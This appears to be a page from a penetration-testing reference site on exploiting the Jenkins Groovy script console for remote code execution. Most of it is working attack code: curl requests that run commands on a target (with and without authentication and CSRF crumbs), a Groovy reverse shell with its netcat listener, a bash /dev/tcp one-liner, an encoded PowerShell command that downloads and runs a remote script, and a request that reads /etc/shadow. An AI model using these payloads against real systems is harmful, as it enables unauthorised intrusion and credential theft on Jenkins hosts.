# Jenkins Groovy Console RCE

> Exploit Jenkins' Groovy Script Console to execute arbitrary system commands and achieve RCE on the host via unauthenticated or authenticated access.

- **URL:** https://hackindex.io/services/jenkins/exploitation/jenkins-groovy-console-rce
- **Path:** Jenkins > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/jenkins/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

The Jenkins Groovy script console at `/script` executes arbitrary Groovy code on the server with the same permissions as the Jenkins process. This is the fastest path to RCE on any Jenkins instance where the console is accessible, either unauthenticated or with valid credentials. Confirm access first through [unauthenticated access checks](https://hackindex.io/services/jenkins/vulnerability-discovery/jenkins-unauthenticated-access).

## Command Execution

Groovy runs on the JVM and can execute OS commands through Java's `Runtime.exec()`. The simplest test confirms execution and shows the running user.

**Execute a command via the script console API**

```bash
curl -s -d 'script=println+"id".execute().text' http://$TARGET_IP:$PORT/script
# uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
```

If authentication is required, add credentials with `-u $USER:$PASSWORD`. Jenkins may also require a CSRF crumb token for POST requests. Fetch the crumb first and include it as a header.

**Fetch CSRF crumb and execute with authentication**

```bash
CRUMB=$(curl -s -u $USER:$PASSWORD http://$TARGET_IP:$PORT/crumbIssuer/api/json | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")
curl -s -u $USER:$PASSWORD -H "$CRUMB" -d 'script=println+"id".execute().text' http://$TARGET_IP:$PORT/script
```

## Reverse Shell

Groovy can spawn a reverse shell through Java's ProcessBuilder. The payload below works on Linux targets.

```java
String host = "$LHOST";
int port = $LPORT;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
  while (pi.available() > 0) so.write(pi.read());
  while (si.available() > 0) po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try { p.exitValue(); break; } catch (Exception e) {}
}
p.destroy();
s.close();
```

**Start listener before sending the payload**

```bash
nc -lvnp $LPORT
```

Paste the Groovy code into the script console web UI or URL-encode it and send via curl. For a quick one-liner alternative:

**One-liner reverse shell via curl**

```bash
curl -s -d 'script=Thread.start+{+"bash+-c+bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261".execute()+}' http://$TARGET_IP:$PORT/script
```

## Windows Targets

For Windows Jenkins instances, use PowerShell to establish the reverse shell.

```java
Thread.start {
  def cmd = "powershell -nop -w hidden -e " + "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST:$LPORT/rev.ps1')".bytes.encodeBase64().toString()
  cmd.execute()
}
```

Host a PowerShell reverse shell script (such as Invoke-PowerShellTcp from Nishang) on your attacker web server and point the download URL to it.

## Reading Files

The script console can also read files directly without spawning a shell. Useful when outbound connections are blocked.

```bash
curl -s -d 'script=println+new+File("/etc/shadow").text' http://$TARGET_IP:$PORT/script
```

After gaining a shell, extract stored credentials from the Jenkins home directory. See [Jenkins credential extraction](https://hackindex.io/services/jenkins/exploitation/jenkins-credential-extraction) for the decryption workflow.

## References

- [Jenkins: Script Console](https://www.jenkins.io/doc/book/managing/script-console/) - Official documentation on the Groovy script console.
- [Abusing Jenkins Groovy Script Console to Get Shell](https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6) - Walkthrough with Groovy reverse shell payloads.
